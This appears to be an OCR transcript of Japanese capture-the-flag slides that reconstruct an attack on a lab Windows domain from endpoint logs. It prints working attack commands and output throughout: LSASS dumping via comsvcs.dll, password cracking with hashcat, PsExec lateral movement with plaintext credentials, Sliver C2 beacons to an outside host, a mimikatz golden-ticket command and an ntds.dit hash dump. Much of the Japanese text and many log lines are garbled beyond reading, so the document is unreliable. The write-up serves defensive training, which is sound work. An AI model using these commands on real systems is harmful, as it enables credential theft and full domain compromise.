m A. 70893




2. Discovery

WSO02 COFEELVT. L TOONV I R ZELT

m whoami /all : 042U TCLVWS I DIFEHRINE

m net user : O—HILI—H—EDFIZE

m net localgroup : O—HIVIA—HT I —T—BDFZE

m net localgroup Adminisistrators: AdministratorsZJL—TF DX /\—=DF|=

m cmd.exe /c “C:¥ProgramData¥AdFind¥adfind.bat”: ADFind®D31T
Active Directory® person, computer, organizationalUnit, group DIgirRz=IXE

B wmic /namespace:¥¥root¥SecurityCenter2 path AntiVirusProduct get
/format:list : LF¥IVUT A RFEDOHEED

m tasklist.exe : EJfELCL\D O DIESR




2w NO—TREB COERERR

FTIF. Fw MI—IRETOEER (Lateral Movement) [CERAZN3W—ILTY . AdFind(FActive DirectoryhSWindows=w BJ—2RMIS
AT e —F—OiEREINE TS T LAY —ILTHES )L — FLazarus[CRS T MONES TEERIN TV S Z A BEESNTUET

[1] o SMBMaplc DWW Tl LEOTOI TR ULEESD. ST FEIORR MBS EanICERALTVWEY. &5(C. Responder-
Windows#{E2> Ty I —OAEOEEENEL TWEC EBREINTLET,

Active Directoryir 5ESR=INETZIY http:/fwww. joeware net
P e e | ffreetools/tools/adfind/

SVBMA Fv FO—OROTOTIAEMSMBES  https:/github.com
P Z=—EBLED. POEILEDTBEWY—IL  /ShawnDEvans/smbmap
LLMNR. NBT-NS. WPAD[CTZD T EL https:J/fgithub.com/lgandx

Ri der-Wind _ _
esponder-tvindows T. 91 FP rEFETZV-IL /Responder-Windows




2 Discovery

m IV URIEEITINENA.. Windows ServerTl&.
iﬁéﬂl{foot¥5ecurity(ﬁenter2 DEZBIZENFELR 2, OV RIE

PS C:\Users\Swan‘Desktop> wmic /namespace:’\\root\SecurityCenterZ path AntiVirusProduct get /format:list
wmic /namespace:’\\root\SecurityCenterZ path AntiVirusProduct get /format:list
ERROR:

Description = Invalid namespace




3.1 Execution (1pt)

BIREOD AT ) —>> 3y hCRARSNZEE (L. WEEDEDKDSIRITE)
ZRET DHEDN,

MITRE ATT&CK (https://attack.mitre.org/) dMTacticsEa TERX Ko
(& X (F Execution IS TY)

3[ElIE ClEER]

[O]Z451: " Initial Access”




3.1 Execution (1pt)

n (B18) MIREODRV)—223vhk

User Account Centrol

Do you want to allow this app from an
unknown publisher to make changes to your
device?

attach.exe

ANTI MALWARE ENGNEERING WORKSHOP 2022

Publisher: Unknown
File origin: Hard drive on this computer

49
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3.2 Credential Access (1pt)

WS02 (&, MITRE ATT&CK (https://attack.mitre.org/) ¢>T1003.001
DT IV INEITEIN TS,

%sz:w0%%ﬁbtm57mt1@@mﬁ®>—7>1§%(m)
EAX Ko

f5: *64941°

3[ElEClEER]




OS Credential Dumping: LSASS Memory

Other sub-techniques of OS Credential Dumping (8)

Adversaries may attempt to access credential material stored in the process memory of the Local Security
Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of
credential materials in LSASS process memory. These credential materials can be harvested by an
administrative user or SYSTEM and used to conduct Lateral Movement using Use Alternate Authentication
Material.

As well as in-memory techniques, the LSASS process memory can be dumped from the target host and
analyzed on a local system.

For example, on the target host use procdump:
* procdump -ma lsass.exe lsass dump
Locally, mimikatz can be run using:

* sckurlsa::Minidump lsassdumg.dmp

* sekurlsa::logonPasswords
Built-in Windows tools such as comsvces.dll can also be used:

¢ rundl13Z.sxe C:\Windows\System3Z\cemsves.dll MiniDump PID lsass.dmp £ulllZ

ID: T1003.001

Sub-technique of: T1003
@ Tactic: Credential Access
© Platforms: Windows

Contributors: Ed Williams, Trustwave,
SpiderLabs; Edward Millington

Version: 1.1
Created: 11 February 2020
Last Modified: 12 May 2022

Version Permalink




3.2 Credential Access (1pt)

m ATTRCKOR—I(CHDFECOTRE
m WindowstZ#Y—)lL (comsvces.dll) ZFESFEnO0o ey~

ﬂLLErE“ profil ! 5 e89 346 0 -
2ff:d2de mac d:b : EDEM-COLLEG i CB-47 1DDD411C}

psPath="C:\Windows\System32\rund1132.exe" cmd "C: \'.-.Imdous\SvstemB?_\cumsvcs d1l-MiniDump-728 C: \User‘s\Swan\AppData\Local\Temp\lsass dmp full" psID=1896 parentGUID=
{FBCFC33D-42DB-4C4D-B18 76FFFDSE} parentPath="C:\Windows\System32\WindowsPowers Wi owershell psUser="Swan" i [ arc=x64

sha256=9f1e56a3bf293ac536cf4bBdad57648797d62dbbBcal9c4ed9683b5565549481 shal=a D l'd 4854758 md5=86 : lef 4de3df
Microsoft Corporation™ copyright="@ Microsoft Corporation. All rights r 5 i ss (Rundl132)" :
1.8808)" product="Mi 3 i verating System” productve
moTime="01/14/2821 86:15:51.993 ali i "Microsoft Windows" issuer="Microsoft Windows Production PCA 2811 ="33 @@ @@ B3 8d be bf el
bé ca 33 pe @ ' i 7 :23:15.800" validTo="85/85/2823 04:23:15.000"

m A 72810



3.2 Credential Access (1pt)

m HFEGREWO>TL\LE, attach.exe SETINTLD

domain="EDEN- OLLEGE“ profile server” i ] : 5-21-21613

feBo: 8ff:d2de mac= i b : i EDEN-COLLEGE™ sessionID:
psPath="C:\Windows\System32\rundl132.exe" - cmd="C: \Windows\System32\comsvcs.dll-MiniDump-728 C:\Users\Swan\AppData\Local\Temp\lsass dmp full” psID
{FBCFC33D-42DB-4C4D-B1 882276FFFDSE} parentPath="C:\Windows\System32\WindowsPowershell\vl.8\powershell.exe" psUser=

SN3450=4T1e50a30T Y50 "5 30C T4DB0a05 /oaw /97d62dbbBcal9c4ed9683b5565549481 shal=ad g al 4T48547

company="Microsoft Corporatieal copyright="© Microsoft Corporation. All rights reserved. i Windows host pr

(WinBuild.166181.8860)" product="Mi1Cmasoft® Windows® Operating System” productVer="16.8.17763.1697" crTime="01/14/2821 B6:15:51.99

993" moTime="01/14/2821 ©6:15:51.993" size=58 sig=Valid signer="Microsoft Windows" issuer="Microsoft Windows Production PCA 2

b@ ca 33 b3 d4 @0 88 ee ee 3 8d" validFrom="85/80,2032 B4:

ps LCHC 4C4D 5/-8822/6FFFDSE ) psPath="C: \Windows\S .temJL\windowgpowerShell\ul.
8\powershell.exe" cmd="-NoExit -Command [Console]::OutputEncoding=[Text.UTF8Encoding] 8" 8 parentGUID={882BD147-8F38-4F79-B5E8-FB53BO565COF}
parentPath="C:\Users\Swan\AppData\Local\Temp\attach.exe" psUser="Swan" psDomai
sha256=de96a6e69944335375dc1ac238336866889d9Ffc7d73628ef4fe1blbl68ab32c ) B
company="Microsoft Corporation” copyright="©@ Microsoft Corporation. All rights reserved.” flleDes Windows PowerShell”™ fileVer="18.8.17763.1 (WinBuild.160181.8868)
' product="Microsoft® Windows® Operating System” productVer="106.0.17763.1" crTime="89/15/2018 16:14:14.454" acTime="09/15/2018 16:14:14.454" moTime="09/15/2018
16:14:14.454" size=448600 sig=Valid signer="Microsoft Windows" issuer="Microsoft Windows Production PCA 2811" cerSN= e B8 81 c4 22 b2 7 9b 79 3d ac b2 ee ee
88 B8 01 c4” validFrom="087/84,/2818 ©5:45:58.800" validTo="07/27/2019 85:45:50.880"




3. Privilege Escalation

m PowerShellzF VLW TEEEER Cattach.exe =217
FODRER. UACHEE]
UACZOU WO TDE, BIBEERECC2EENIEILINDS

sliver (CLEAN_JASMINE) > shell
? This action is bad OPSEC, are you an adult? Yes

[*] Wait approximately 10 seconds after exit, and press <enter> to continue
[*] Opening shell tunnel (EOF to exit) ...

[*] Started remote shell with pid 5644

PS C:\ProgramData\AdFind> Start-Process C:\Users\Swan\AppData\Local\Temp\attach.

exe -Verb runAs

start-rProcess C:\Users\Swan\AppData\Local\Temp\attach.exe -Verb runAs

[*] Beacon f351a447 NAUGHTY_CHAIRPERSON - tcp(18.182.226.10:48616)->172.16.1.102
(WS02) - windows/amd64 - Wed, 05 Oct 2022 14:45:27 IST




3.4.3.4 KEER

HERTEEDHEZBD., OJAZ(CHRINILTVWDIRER 9 &, T—FDESIENHEREIN TLDIER 15
B, WINEMRBEINTUDIHE 16 &, &t 40 BOMENSEIORE(CLDEEPLHEEZ T TNDIE
72D, KEERICHZDTE. IRTOAEL—YDEBETHI> FTHD B>
Administrator [FHETHH. I—Y—TtOJd1>chTVWTEI-—Y (& BEEIIL-TTHBEIL
> Administrators [CPIEL TUL\Z/zb. Mimikatz 2 EAFIAT D C & TERBIROEEHN I EERIAR TH
oz, INSNSEREREEEL. BRALUCAREEEVEERD, 1B, FEFBFDOLEIL h >
Administrator A®1—H—H> MHIE (User Access Control. BUF TUAC] &LV, ) @ EAGEETE
SNV DTz,

FIZBHD FF L7R— bAT(E.  [PsExec] OFBMMERSNTEDKERBICHIZOT. L<ABLSN
DFEEEMLLISLLTUVEZ, ULMLARS, LROEDMSERTEFIUFTAIRUS—LRo> Tz
. BERFEEZRAVT EEKTERBESSICTELEDEERS.




3. Credential Access

= WindowstiE#¥Y—)L T35 comsvcs.dll T REHFHRNMRTFSNTL)
lsass.exe DAEIT Y TZE/ERK

WinodwsiZEY —ILERWT PO FIMIIVAICIRAIS NS AIgEME TITS

m XEVZHEZIRAK Cpypykatzz AU\ CTHEAT
https://github.com/skelsec/pypykatz

== LogonSession == == LogonSession ==

authentication_id 619055 (9722f) authentication_id 1022071 (f9877)

session_id 3 session_id 4

username Swan username eden

domainname EDEN-COLLEGE domainname WS02

logon_server DCO1 logon_server WS02

logon_time 2022-10-85T05:00:03.622762+60:00 logon_time 2022-10-05T05:18:21.111457+00:00

sid S-1-5-21-2546957783-168664247-474269456-1113 sid §-1-5-21-2161340801-30039536-1092954500- 1009
luid 619055 luid 1022071

== MSV ==
Username: swan
Domain: EDEN-COLLEGE
: NA

NT: ed24ea%8dd81b699754352e8251d9aba
SHA1: d5751a26effbe?c1c9f9ca2008c7¢cbodb6e62692
DPAPI: b47a60144f00455ba2edcBafoddb3blc
WDIGEST [9722f J==
username swan
domainname EDEN-COLLEGE
password None
Kerberos ==
Username:
Domain: EDEN COLLEGE LOCAL
WDIGEST [9722f]==
username swan
domainname EDEN-COLLEGE
password None

== MSV ==
Username: eden
Dom,

Plo e 1de06a5864633c fcBcaddiadd foed)
sm _db4d84a305cd7dcddeT2109e6aT 086 e1d%6e0e

== NDIGEST [f9877]--
username eden
domainname WS62
password None

== Kerberos ==
Username: eden
Domain: WS©2

== WDIGEST [f9877]==
username eden
domainname WS02
password None




3. Credential Access

M Hashcat rockyou.txtZBHW\T/N\RDT—RU5vo%d &, edend
JSRD— RIS 3

Dictionary cache building /usr/share/wordlists/rockyou.txt: 33553434 bytes
Dictionary cache building /usr/share/wordlists/rockyou.txt: 67106869 bytes
Dictionary cache building /usr/share/wordlists/rockyou.txt: 100660302 bytes
Dictionary cache built:

* Filename..: /usr/share/wordlists/rockyou.txt

* Passwords.: 14344392

* 1 139921507

* Keyspace..: 14344385

* Runtime...: 2 secs

8befde96a5864633cfc8cadd47ad4df9e9 stellastar

: hashcat
Cracked
1000 (NTLM)
8befde96a5864633cfcB8cadda7a4df9e9
Time. Started Wed Oct 5 14:59:27 2022 (0 secs)
Time. Esttmated Wed Oct 5 14:59:27 2022 (0 secs)
Kernel.Feature Pure Kernel
File (/usr/share/wordlists/rockyou.txt)
1/1 (100.00%)
: 1613.0 kH/s (0.11ms) @ Accel:256 Loops:1 Thr:1 Vec:8
1/1 (100.00%) Digests
464384/14344385 (3.24%)
/464384 (0.00%)
Restore.Point. 463872/14344385 (3.23%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1 : storm32 -> standley

Started: Wed Oct 5 14:59:24 2022
Stopped: Wed Oct 5 14:59:28 2022




4.1 Lateral Movement (1pt)

WS02TTld. C:¥Users¥Swan¥AppData¥Local¥Temp¥pe.exe ELN\DEITT 7
1IVBMESN TS,

—DIF7AIE LLTFDIBEDLIRRITI7AITHD EHASNDH?
(:EIRFERER)

- Ransomware

- Key Logger

- Password Dump Tool

- MicrosoftD1EFH T 71U

2[B|FE TEIEA




4.1 Lateral Movement (1pt)

m C:¥Users¥Swan¥AppData¥Local¥Temp¥pe.exe [ICE9507
Zarep CHRER

cat ws02.log | grep 'C:¥¥Users¥¥Swan¥¥AppData¥¥Local¥¥Temp¥¥pe.exe'
m pe.exe DIT7IIVEROY . 7OCREHOTZHR

; } +89688 loc=en-US type=ITM2 sn=73148 1v=5 rs
tmid=F2 4acl-9a7a as 9 csid=S-1-

usr="5Swan" usrDomain="EDEN-COLLEGE" sessionID=

stellastar ‘\\dc@l.eden-college.local -s -c C:\Users\Swan\AppDat

trs=534 rf=C8 evt=ps subEvt=start os=Win com="WS82" domain="EDEN-COLLEGE" profile="MWSCup_server"
ip=172.16.1.1082,fe80 1] v
\84745FE3DEE} psPath= \ s\Swa AppDaf JLocalhTemp)

h.exe" psID = 4A68-B56D
parentPath="C:\Windows\System32\WindowsPowerShell\vl.@\powershell.exe" psUser="Swan" psDomain

sha256=88c6e28bl785d4ecde3f9956931d9923779635808b4b2c6579Fd9930e08882b1lc shal=adee
nternals - www.

rcCom="DESKTOP"
-accepteula -u eden -p

acTime="18 el H: :'7.189" moTlme—"ln’a /2022 15

icrosoft Code Signing PCA 2811" cerSN="33 @@ @0 82 52 8b 33 aa f8 95 f3 39 db @@ 2@ @6 @@ 82 52" validFrom=

m J71)VE RN Microsoft(CZ>TL\S
m A. Microsoft®1IEFRD T 71U



4.2 Lateral Movement (1pt)

dA—ZedenD/NAT—REFDINAT—R Z{E>CLateral MovementU7z
AR EEZEZ K,

A=Yk ThRAMA _edenD/NRAT—R°

f5l: *"WS01_hoge" 3[E|E TEZ A




4.2 Lateral Movement (1pt)

m 4.1 CTRDIFZ pe.exe OO REEEOT =5ER

SCup_server”
2 =3 ¥ E rcCom="DESKTOP"
EDEN-COLLEGE" sessionID J 3 : 3 Local\Temp\p -accepteula -u eden -p
stellastar \\dc@l.eden-college.local - = C:\Users\Swan\AppData‘\Local\Temp\attach. " 3Ce-4A68-B560-EBSABSEBFB4
parentPath= Windows\System32\WindowsPowerShell\vl.&\powershell.exe" psUseP=“Swan

sha256=08c6e2@bl785d4ecde3f9956931d9923779635808b4b2ch579Fd9930e08882b1c shal:
Mark Russinovich" fileDesc="Execute processes remotely” fileVer=
L173" acTim / H: 7.189" moTime= @5/2822 1 B7.189" size=44
signer="Micr atic i M osoft Code Signing PCA 2811" cerSN="33 @@ @@ : a j db @@ 2@ @@ @@ @82 52" validFrom="89/83/
een” valid

m pe.exe DIEKIF PsExec

B CMAdTIEEIN L\ 25| 8 =iER
-u : 1—%% (eden)
-p : /INXTJ—R (stellastar)
DR T LVERR CTHREE)
- D) EIE—UTET
¥¥dcO1l.eden-college.local : ##HLHR X~

m A. DCO1 stellastar

1o
(@IN]

https://learn.microsoft.com/ja-jp/sysinternals/downloads/psexec




4 | ateral Movement

m PsExecZzZHL\T.DCO1ICLateral Movement
3.2 CERBEUedenD/N\AJ—RZ{FH
edenhDomain AdminsMX I\ ThdZ &Ik, 2.1 DiscoverTHIBFELTL\S

C:\Users\Swan\AppData\Local\Temp\pe.exe -accepteula -u eden -p stellastar \\dcO1
.eden-college.local -s -c C:\Users\Swan\AppData\Local\Temp\attach.exe

PsExec v2.4 - Execute processes remotely
Copyright (C) 2001-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

Copying C:\Users\Swan\AppData\Local\Temp\attach.exe to dcO1.eden-college.local..
Starting C:\Users\Swan\AppData\Local\Temp\attach.exe on dcO1l.eden-college.local.

[*] Beacon 086e414a NAUGHTY_CHAIRPERSON - tcp(18.182.226.10:53542)->172.16.2.101
(DCO1) - windows/amd64 - Wed, 05 Oct 2022 15:04:33 JST

sliver (NAUGHTY_CHAIRPERSON) > '




3.4.3.4 KER

HEETEESHEED., OJAZCHRIILTVDIE 98, T —FOES{ENMHEEINTLDEE 15
B, WINBERTNTULDIGE 16 8. &5t 40 BOHENSEIOHE (CLBWEBEEEZITTVACE
(L7123, KFEMICHE>TIE}. IARTOOIVE2—YDEREFHI> FTHED EILbr>
Administrator [Z3@TH D, I—H—TOVr>ENTVWTEL-Y -3 EBEIIL-TTHIEIL b
> Administrators [CPRIE L CULVEizs. Mimikatz R EXFIAT 2 O & TERBROBSN D EERAR TH
oz, CNSHESERBEHEIEL. BALUEIRREEVWEER S, 8. BEFSEEOEIL >

Administrator A"MI1—H—H7> Rl (User Access Control. BUF TUACI &ULVS. ) @ BEBRIFEETE
ENTWEh oz,

FIZBHD FF L/R— FATIE.  [PsExec] oFIANMEREN THOKFRMICHIZ> T, L<ALSN
BDFEEERBLLSELTLVE. LALEAS, LEDOBOISELATFIUTRUS—ERoTUERE
o, BERFEEZAVT EEKTFEMEIBBICTELEDEERS.




5. Persistence (1pt)

DCO1TIE, WEENEHIGE L FOTAZE(CTOIS LN
BENEHNDKLDICTOTSTLZREL TLND,

BEEHSNDKIDICRESNET OIS LD/ A EEZERX K.
f5]: * C:¥Users¥hoge¥fuga.exe"

3[ElEClolE™w]




5. Persistence (1pt)

m DCOTDO T 71 ILERROT DAl

cat dcOl.log | grep "evt=file subEvt=create" > dc@l file create.log

%D\Lateral MovementU7z 15:04:12 LIEOO T =HER

615 +8982 loc=en-US type=ITM2Z sn=63269 lv=5 =12 trs—%r t= flle subEvt= create os=Win com= FLBl domaln "EDEN-COLLEGE" profile="MWSCup_server”
873957895 csid=5-1-5- 1 -2924128 708492278 ip=172.16.2.161,fe80::74c9: ebll:ce® mac=86:88:f2:4b:34:cd sessionID=P psGUID=

{C3B64887 [BLD 4F@8-81 42AF6DBFBS F?; psPath="C:\Windows'Systel HwindowsPowerShellKvl‘B\powershell‘exe" path=" C:xProgramDataHM1croso+tKN1ndow5xStart

Menu\Programs\StartUp\chairperson. " drvType= HDq

m C:¥ProgramData¥Microsoft¥Windows¥Start Menu¥Programs¥StartUp¥ [C

TP AV EVER

A—ARO7120 UEBIC O S L0 EI D I4IL5
https://attack.mitre.org/techniques/T1547/001/

| A C:¥ProgramData¥Microsoft¥Windows¥Start Menu¥Programs¥StartUp¥chairperson.exe




6.1. Credential Access (2pts)

SEIDOHEETIL. KerberosDGolden TickethMERR SN TL\D,

Golden Ticket/ERRICENDNIENTLM/\NY D 1 & FDI\NYIAREDT
IO RDEOHIEZ Lo

JA—XYEN "PHIURE NTLM/\WI
(EEBLANIE I AN TININXF)

3[E|E CEIZEA




Home = Techniques = Enterprise = Steal or Forge Kerberos ets = Golden Ticket

Steal or Forge Kerberos Tickets: Golden Ticket

Other sub-techniques of Steal or Forge Kerberos Tickets (4)

Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-
granting tickets (TGT), also known as a golden ticket "] Golden tickets enable adversaries

to generate authentication material for any account in Active Directory.[ﬂ

Using a golden ticket, adversaries are then able to request ticket granting service (TGS)

tickets, which enable access to specific resources. Golden tickets require adversaries to

interact with the Key Distribution Center (KDC) in arder to obtain TGS.F!

The KDC service runs all on domain controllers that are part of an Active Directory domain.

KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible
for encrypting and signing all Kerberos tickets.? The KRBTGT password hash may be

abtained using OS Credential Dumping and privileged access to a domain controller.

1D: T1558.001
Sub-technique of: T1558

@ Tactic: Credential Acc

@ Platforms: Windows

@ Permissions Required: User

Contributors: Itamar Mizrahi,
Cymptom

Version: 1.1
Created: 11 February 2020
Last Modified: 05 November 2020

Version Permalink




6.1. Credential Access (2pts)

m EEINEZIYIITOmMiImikatzOFERANRVLHENRDS

cat dco@l.log | grep mimikatz

16:C8:L8:R8:C35:1L30:R3@ evt=ps subEvt=start os=Win com="Ws@2"

DESKTOP™ usr EDEN-COLLEGE" sessionI

2 UberCHSwan\AppData~ ocalyTe m2 . ' "kerbe r:Henderson /domain:eden-college.

krbtgt:e3f4labsbddff59e84d4d9 F "" exit" psID=648! ] i 7E40-4854-B53E-32EAL6AT
e\powershell,.exe” psUser="Swan" psDomaln- EDEN-COLLEGE" arc=x64 sha256=61c@810a23580cf492a6badf7654566188331e7a4134c968c2d6a05261b2d8al
ELENES 4efag3lcec 1ba5 company="genti +1 (Benjamin DELPY)" copyright="Copyright iC] 2807 - 2021 gentilkiwi

(Benjamin DELPY)" fileDesc="mimikatz for Windows" i 2.08.6 ="mimikatz" productVer=": 8.8" crTime="18/85/20822 15:25:43.0865"
297" moTime="10,/85/2022 15:25:43,897"

m mimikatz Z{ER. £TLCV\BROTZHER




6.1. Credential Access (2pts)

evt=ps subEvt=start os=Win com="Ws5@2"
: ip=: 1.182

' sessionID
ocaliTempim2.exe" cmd= Kerbe r1de E n /domain:eden-college.local /sid:S-1-5-21-2546957783-168664247-474269456 /

psPath="C:\Users\Swan\AppData
stem32\WindowsPowershell\vl.

krbtgt 41a65bddff59e84d4d9 F /ptt"™" exit" psID= parentGUID={ 2D1-7E48-4854-B53E- AABAT } parentPath="C:\Windo
@\powershell.exe"” psDomain="EDEN-COLLEGE" arc=x64 sha256=61c@810a23588cf492a6badfie54566108331e7a4134c968¢c2dbad5261b2d8al
dé e a5 company="gentilkiwi (Benjamin DELPY)" copyright="Copyright (c) 2 gentilkiwi
n DELPY)" fileDesc="mimik 0 indo fileVer= 2.8.6 imikatz" productVer="2.2.8.8" crTime="18/85/20822 15:25:43.865" acTime= /85/2822 15:25:43.
297" moTime="18/85/2022 15:25:43.8 ize=] 4 sig=None

m ETLTUVBmimikatz®OZA 73y
kerberos::golden: Kerberos TicketD{ER
/user: fERXRDI1—1
/domain: {ERXIRE XA
/sid: YERRXIR R X1 Dsid
/krbtat: krbtgt 7o EDONTLM/ W1
/ppt: FERUIZF Ty hEXE(CHEA (Pass The Ticket)

m A. krbtgt e3f41a65bddff59e84d4d9b9290e32ef



6.2 Credential Access (2pts)

Golden Ticket {ERX H KT Pass The TicketiEZ 17z C & = EP
RICEEUIZEC B, Tkibtgt 7 NIV bDINR T —REXOEE Y SNE
M d1EENNT,

XICADEEIZLS DD,
£l REFORBEEITI0HEH IBHZEEZ L. (GeabfaRE)




6.2 Credential Access (2pts)

m A. 2[0]

m krbtgtlFEE2 DDA T—R/N\Y 1BREZRFLTCHY. 1DH
DINRT—R/IN\YDIICKDFTYMREEICKBRUIZ52DB D/
g—l\“/\‘yvll:diéﬂ'-"f‘y MREECFTYMEEMNTEITCUERDTZ

n =E

https://www.jpcert.or.jp/research/AD.html



6. Credential Access

m KerberossB:sEDFER UL H

P ORREFA |

e

seaEty—/\ (DCO1)

BRE®

H‘}E V}

TGT [BEvs> SarIx

SIl T —ExF vk

o

7ot —I\ (FILEO1)

A A A

v




- TGT YNERF T
6. Credential Access T

SIl T 2F vk

m Golden Ticket = BEULEREDI—TFTDTGT

5

]
W= =asrH— )\ (DCO1) 7ot x5 —/\ (FILEO1)
WEBENTGTZ

VERR -

o ST &

A

v

P ORREFA |

A




6. Credential Access

m FEDI1—DGolden TicketZz{Emd 27=ICI&. krbtat 7Tk
DONTLM/\WahE
krbtat: TGTOBLZREZITOT7 NI

m DCO1Cntds.ditZ&3EX L. IEEH ImAR CHRAT

ntdsutil.exe 'ac i ntds' 'ifm' 'create full C:\Windows\Temp\dump' g q
C:\Windows\system32\ntdsutil.exe: ac i ntds

Active instance set to "ntds".
C:\Windows\system32\ntdsutil.exe: ifm
ifm: create full windows\Temp'\dump
Creating snapshot
snapshot set {dudéeb39-1368-UFf9f-bb28-33bf2duSb76f} generated successfully.
snapshot {f9bc53ea-ebee-ue72-9ued-236838ecd2bd} mounted as C:\$SNAP_202218851
528_VOLUMECSY,
snapshot {f9bc530a-8bee-Ue72-94ad-236838ecd2bd} is already mounted
Initiating DEFRAGMENTATION mode
Source Database: SNAP_2622106851528_VOLUMEC$\Windows\NTDS\ntds .dit
Target Database: C:\Windows\Temp\dump\Active Directory‘ntds.dit

Defragmentation Status (omplete)

38

Copying registry files...

Copying C:\Windows\Temp\dump\registry\SYSTEM

Copying C:\windows\Temp\dump\registry\SECURITY

Snapshot {f9bc53Ba-8bee-UeT2-948d-236838ecd2bd} unmounted.
IFM media created successfully in C:\Windows\Temp'dump
ifm: g

C:\Windows\system32\ntdsutil.exe: g

registry/SYSTEM
t" local

y registry/SECURITY

Target system bootMey: Bx37981e2f9f76T729uf288d63bBearabs2
Dumping cached domain logon information (domain/username:hash)
Dumping LSA Secrets

$HMACHINE . ACC

Dumping Domain Credentials (domain\uid:rid:Llmhash:nthash)
Searching for pekList, be patient
PEK # 8 found and decrypted: 768aS%bccTdce3Bclecebc2f294lf59ce

Reading and decrypting hashes from Active Directory/ntds.dit
Administrator:588:aad3bu3sbh5luedeeaad3bu3sbhsiuatee :dcba29udec?735e7339c30857865e9718
Guest:581:aad3bu3sbslusueeaad3bu3sbslusuee: 31d6cfendlsae931b73c59d7e0c089C
DCA1%:1688:aad3by35b51480eeaad3by35b51u8Yee : dd7898UeT5al9cbd6dTde6edcBB8U2926
krbtgt:582:aad3bu3sb5ldadeeaad3by3sb5llalee : e3fulas5bddff59e88dudobo298e32ef

eden-college. Local\nenderson: 111/ aaa3p0 505 1UULeeaAAd SDUSbDbLULLeE St 35aB5YeDcFhT6cBrUfEBdaTBUT2dd: @ :
eden-college.locall\swan:1113:aad3by35b5148Ueeaad3by35b51uolee: ed2tead8dd81b699754352e0251d%6a: : :
eden-college.local\evans:1114;aad3by35b51uetecaad3by3sb51deles ; fo6ecadefl6ddc2ddEffedbadch9cée
WSB1%:1115:aad3bu3sb51lualdeeaadiblyisbslualee  eedd962507deed11200ad6285115281a
W5825:1116:aad3bu3sb51ueueeaad3bu3sb51uptee : 6a5c3d128ba6F5uUBbbe2belddBBlucceT
WS83$:1117:aad3by3sb51484eeaad3by3sb51uedee 1 0e08599c9alce222aba3asBalbeT6aef
FILE®1$:1118:aad3bu35b51080eeaad3by35b51u8lee : 439deuadeclytfll6agTu98cfl2ded25; :;
eden-college.locall\eden:1119:aad3bu3sb51luadeeaad3buyisbslusuee : Bbefde96a586U633cfeBoaudTaldfoed



6. Credential Access

m klistCF 7Y bOFv v a1ZHIFRL. mimikatz ¢Golden Ticket{Epk
HendersonD7 A cDF oy b EVERR

CHEREE mimikatz 2.2.8 (x64) #19641 Sep 19 2022 17:44:08
L " ##. "A La vie, A L'Amour” - (oe.eo)
## / \ ## /x**x Benjamin DELPY ‘gentilkiwi‘ ( benjamin@gentilkiwi.com )
#4 N\ / 8 > https://blog.gentilkiwi.com/mimikatz
THE v OHEY Vincent LE TOUX ( vincent.letoux@gmail.com )
'HEHHE > https://pingcastle.com / https://mysmartlogon.com s/

mimikatz(commandline) # kerberos::golden fuser:Henderson /domain:eden-college
.local /fsid:S5-1-5-21-25U6957783-16866U2UT-U47U269456 /krbtgt:e3fylassbddff59es
PS C:\ProgramData\AdFind> klist purge ududgbszgag;:dg:zn
klist purge i : eden-college.local (EDEN-COLLEGE)
1 §-1-5-21-25U695T7783-16866U2UT-U7U269U56
: 588

Current LogonId is ©:0x97257 : 513 512 5268 518 519

Deleting all tickets: i : e3fulaésbddff59e8ududobo2gee3zef - rct_hmac
Ticket(s) pu.rgedl i i : 18/5/2022 3:28:28 PM ; 18/2/2832 3:28:28 PM ; 16/2/20832 3:28:28 P

—-> Ticket : ** Pass The Ticket ==

PAC generated

PAC signed
EncTicketPart generated
EncTicketPart encrypted
KrbCred generated

Golden ticket for 'Henderson @ eden-college.local' successfully submitted for
current session

mimikatz(commandline) # exit




6. Credential Access

m FILEOTOHEBE ALY D—EZHS

PS C:\ProgramData\AdFind> net view \\file®l.eden-college.locall
net view \\file@l.eden-college.local\
Shared resources at \\file@l.eden-college.locall,

Share name Type Used as Comment

exam Disk
The command completed successfully.




6. Credential Access

m net view ¥Y¥file@l.eden-college.local Z=3E{TUEF. DCO1&
FILEO1(C172.16.1.102Hh " 5Henderson®M 77 Ao TEREELZOT
o TL\D
172.16.1.102 [ESwanhME>TLBIETRDIC -
Hendersonh TGTZUOIXEULZOTIEAR0)

"Wsez" in="EDEN-COLLEGE" profile="MWSCup_server"
- 5:bf:2d:23 rcCom="DESKTOP"
fileBl.eden-college.locall,

OLLEGE" sessionID
5 3E} parentPath="C:‘\Windows\System32\WindowsPowerShell\vl.@\powershell.ex psUser="Swan" psDomai EDEN-COLLEGE"

64 sha2sé= 25c3266d2bcld5626dcdf?2419838b39?d23d44dBBacBBFGfo49421b43ec359 shal= L35 1984d5 318eb e6ld8fedbcde815830406 @ab31
company="H1crasaft rporation” copyright="@ Microsoft Corporation. All rights reserved." fileDesc="Net Command" fileVe ol 63.1 (WinBuild.le8161.080
oft® Windows® Operating System” productVer="18.2.177632.1" crTime= % 16:12: > i /26 6:12:44,785 ime="@82/15/2018 16:12:44.785"
¢ alid signer="Microsoft Windows" issuer="Microsoft Windows Production PCA 2811" cersSN 60 08 81 c4 22 b2 f7 9b 79 3d ac b2 00 08 60 28 a1 ca”
validFrom="87/84/2018 85:45:50.800" validTo="87/27/2819 ©5:45:58.800"

:cd channel="Security"

evtMsg— 'A Kerberos servi icket was reque = 050 ows-Security-Auditi ] 2 son@eden-college.
1-college.local” targetService="FILE@13" ticketOption="8x468810888" ticketStatus { ffff:172.16.1.182" srcPort=58881

ecurity”

ccessfully logged o icroso i ity _udlflng eviPsID=728 evtUsr="Henders
ccabb™ legonType="Network = =" wsPort=5




7. Exfiltration (4pts)

SEINKEICE DT T7AITF—INDWDHD T 71 IUHAERIC
F5HTNTLS,

EDFDRTPAIVAREZICHFERINTLIDN, WD EDKLDLR
FENEESH T IBNEEEISEHBE L. (EoibfRE)

s
paay Y=

» 07 ERIOEBIA THESKICIE, EDROY DEAR OV E: S—4
URAES (sn) . ProxyOdJ DIFEIE O Z:ATE &LTLIETL




7. Exfiltration(4pts)

m fileO1Carep

cat ws@2.log | grep fileol

m WSO2CFILEOT1 Mo T 71 )% I:°—L/_CL\5

n-us type—ITM2
] 9 csid=5-1-5-2
sessionl psGUID={
lassh\student_gra
